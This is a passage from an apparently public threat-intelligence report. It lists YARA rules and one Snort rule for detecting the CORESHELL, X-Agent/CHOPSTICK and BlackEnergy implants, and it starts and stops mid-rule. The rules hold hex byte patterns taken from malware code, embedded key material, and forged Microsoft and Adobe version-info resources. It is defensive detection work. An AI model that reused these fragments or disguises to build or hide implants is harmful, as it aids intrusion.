0x5A4D) and 2 of them Rule IMPLANT_2_v18 strings: $STR1 = { 8A C1 02 C0 8D 1C 08 8B 45 F8 02 DB 8D 4A 02 8B 55 0C 88 5D FF 8B 5D EC 83 C2 FE 03 D8 89 55 E0 89 5D DC 8D 49 00 03 C1 8D 34 0B 0F B6 1C 0A 0F AF D8 33 D2 8D 41 FF F7 75 F4 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D DC 8D 41 FE 83 F8 06 8B 45 F8 72 9B 8B 4D F0 8B 5D D8 8B 7D 08 8B F0 17 of 56 17 of 56 TLP:WHITE TLP:WHITE 41 83 C6 06 89 4D F0 89 75 F8 3B 4D D4 0F 82 ?? ?? ?? ?? 8B 55 E8 3B CB 75 09 8D 04 5B 03 C0 2B F8 EB 02 33 FF 3B FA 0F 83 ?? ?? ?? ?? 8B 5D EC 8A C1 02 C0 83 C3 FE 8D 14 08 8D 04 49 02 D2 03 C0 88 55 0B 8D 48 FE 8D 57 02 03 C3 89 4D D4 8B 4D 0C 89 55 F8 89 45 D8 EB 06 8D 9B 00 00 00 00 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_2_v19 strings: $obfuscated_RSA1 = { 7C 41 B4 DB ED B0 B8 47 F1 9C A1 49 B6 57 A6 CC D6 74 B5 52 12 4D FC B1 B6 3B 85 73 DF AB 74 C9 25 D8 3C EA AE 8F 5E D2 E3 7B 1E B8 09 3C AF 76 A1 38 56 76 BB A0 63 B6 9E 5D 86 E4 EC B0 DC 89 1E FA 4A E5 79 81 3F DB 56 63 1B 08 0C BF DC FC 75 19 3E 1F B3 EE 9D 4C 17 8B 16 9D 99 C3 0C 89 06 BB F1 72 46 7E F4 0B F6 CB B9 C2 11 BE 5E 27 94 5D 6D C0 9A 28 F2 2F FB EE 8D 82 C7 0F 58 51 03 BF 6A 8D CD 99 F8 04 D6 F7 F7 88 0E 51 88 B4 E1 A9 A4 3B } $cleartext_RSA1 = { 06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 01 00 01 00 AF BD 26 C9 04 65 45 9F 0E 3F C4 A8 9A 18 C8 92 00 B2 CC 6E 0F 2F B2 71 90 FC 70 2E 0A F0 CA AA 5D F4 CA 7A 75 8D 5F 9C 4B 67 32 45 CE 6E 2F 16 3C F1 8C 42 35 9C 53 64 A7 4A BD FA 32 99 90 E6 AC EC C7 30 B2 9E 0B 90 F8 B2 94 90 1D 52 B5 2F F9 8B E2 E6 C5 9A 0A 1B 05 42 68 6A 3E 88 7F 38 97 49 5F F6 EB ED 9D EF 63 FA 56 56 0C 7E ED 14 81 3A 1D B9 A8 02 BD 3A E6 E0 FA 4D A9 07 5B E6 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them Rule IMPLANT_2_v20 strings: 18 of 56 18 of 56 TLP:WHITE TLP:WHITE $func = { 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 8B 45 D8 89 55 F8 72 A0 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Network Indicators for Implant 2 alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Coreshell_HTTP_CALLOUT"; flow:established,to_server; content:"POST"; http_method; content:"User-Agent: MSIE "; fast_pattern:only; pcre:"/User-Agent: MSIE [89]\.0\x0d\x0a/D"; pcre:"/^\/(?:check|update|store|info)\/$/I";) The following YARA rules detect X-Agent/CHOPSTICK, referred to as IMPLANT 3 with rule naming convention. IMPLANT 3 Rules: Rule IMPLANT_3_v1 strings: $STR1 = ">process isn't exist<" ascii wide $STR2 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" ascii wide $STR3 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" ascii wide $STR4 = "webhp?rel=psy&hl=7&ai=" ascii wide $STR5 = {0f b6 14 31 88 55 ?? 33 d2 8b c1 f7 75 ?? 8b 45 ?? 41 0f b6 14 02 8a 45 ?? 03 fa} 19 of 56 19 of 56 TLP:WHITE TLP:WHITE condition: any of them Rule IMPLANT_3_v2 strings: $base_key_moved = {C7 45 ?? 3B C6 73 0F C7 45 ?? 8B 07 85 C0 C7 45 ?? 74 02 FF D0 C7 45 ?? 83 C7 04 3B C7 45 ?? FE 72 F1 5F C7 45 ?? 5E C3 8B FF C7 45 ?? 56 B8 D8 78 C7 45 ?? 75 07 50 E8 C7 45 ?? B1 D1 FF FF C7 45 ?? 59 5D C3 8B C7 45 ?? FF 55 8B EC C7 45 ?? 83 EC 10 A1 66 C7 45 ?? 33 35} $base_key_b_array = {3B C6 73 0F 8B 07 85 C0 74 02 FF D0 83 C7 04 3B FE 72 F1 5F 5E C3 8B FF 56 B8 D8 78 75 07 50 E8 B1 D1 FF FF 59 5D C3 8B FF 55 8B EC 83 EC 10 A1 33 35 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them Rule IMPLANT_3_v3 strings: $STR1 = ".?AVAgentKernel@@" $STR2 = ".?AVIAgentModule@@" $STR3 = "AgentKernel" condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them 20 of 56 20 of 56 TLP:WHITE TLP:WHITE The following YARA rules detect BlackEnergy / Voodoo Bear, referred to as IMPLANT 4 with rule naming convention. IMPLANT 4 Rules: Rule IMPLANT_4_v1 strings: $STR1 = {55 8B EC 81 EC 54 01 00 00 83 65 D4 00 C6 45 D8 61 C6 45 D9 64 C6 45 DA 76 C6 45 DB 61 C6 45 DC 70 C6 45 DD 69 C6 45 DE 33 C6 45 DF 32 C6 45 E0 2EE9 ?? ?? ?? ??} $STR2 = {C7 45 EC 5A 00 00 00 C7 45 E0 46 00 00 00 C7 45 E8 5A 00 00 00 C7 45 E4 46 00 00 00} condition: (uint16(0)== 0x5A4D or uint16(0) == 0xCFD0 or uint16(0)== 0xC3D4 or uint32(0) == 0x46445025 or uint3 2(1) == 0x6674725C) and 1 of them Rule IMPLANT_4_v2 strings: $BUILD_USER32 = {75 73 65 72 ?? ?? ?? 33 32 2E 64} $BUILD_ADVAPI32 = {61 64 76 61 ?? ?? ?? 70 69 33 32} $CONSTANT = {26 80 AC C8} condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them 21 of 56 21 of 56 TLP:WHITE TLP:WHITE Rule IMPLANT_4_v3 strings: $a1 = "Adobe Flash Player Installer" wide nocase $a3 = "regedt32.exe" wide nocase $a4 = "WindowsSysUtility" wide nocase $a6 = "USB MDM Driver" wide nocase $b1 = {00 05 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 3F 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C 04 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 1C 02 00 00 01 00 30 00 30 00 31 00 35 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 1C 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 22 of 56 22 of 56 TLP:WHITE TLP:WHITE 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 48 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 28 00 08 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 15 00 B0 04 09 04 B0 04} $b2 = {34 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 03 00 03 00 04 00 02 00 03 00 03 00 04 00 02 00 3F 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 02 00 00 00 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 70 02 00 00 00 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4A 00 15 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 53 00 6F 00 6C 00 69 00 64 00 20 00 53 00 74 00 61 00 74 00 65 00 20 00 4E 00 65 00 74 00 77 00 6F 00 72 00 6B 00 73 00 00 00 00 00 62 00 1D 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00 00 30 00 08 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 32 00 09 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 76 00 29 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 41 00 64 00 6F 00 62 00 65 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 73 00 20 00 49 00 6E 00 63 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 65 00 64 00 00 00 00 00 3A 00 09 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 5A 00 1D 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00 00 34 00 08 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 44 00 00 00 00 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 46 45 32 58} $b3 = {C8 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 04 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 48 00 10 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 49 00 44 00 45 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 23 of 56 23 of 56 TLP:WHITE TLP:WHITE 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 39 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04} $b4 = {9C 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 06 00 01 40 B0 1D 01 00 06 00 01 40 B0 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FA 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 D6 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 58 00 18 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6F 00 72 00 20 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 6C 00 26 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 20 00 28 00 77 00 69 00 6E 00 37 00 5F 00 72 00 74 00 6D 00 2E 00 30 00 39 00 30 00 37 00 31 00 33 00 2D 00 31 00 32 00 35 00 35 00 29 00 00 00 3A 00 0D 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 42 00 0D 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04} $b5 = {78 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 00 00 05 00 6A 44 B1 1D 00 00 05 00 6A 44 B1 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D6 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 24 of 56 24 of 56 TLP:WHITE TLP:WHITE 00 B2 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 00 00 72 00 29 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 20 00 28 00 77 00 69 00 6E 00 37 00 73 00 70 00 31 00 5F 00 72 00 74 00 6D 00 2E 00 31 00 30 00 31 00 31 00 31 00 39 00 2D 00 31 00 38 00 35 00 30 00 29 00 00 00 00 00 30 00 08 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 63 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 40 00 0C 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 63 00 2E 00 65 00 78 00 65 00 00 00 58 00 1C 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 20 00 2D 00 20 00 55 00 6E 00 69 00 63 00 6F 00 64 00 65 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04} $b6 = {D4 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 10 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 53 00 65 00 72 00 69 00 61 00 6C 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 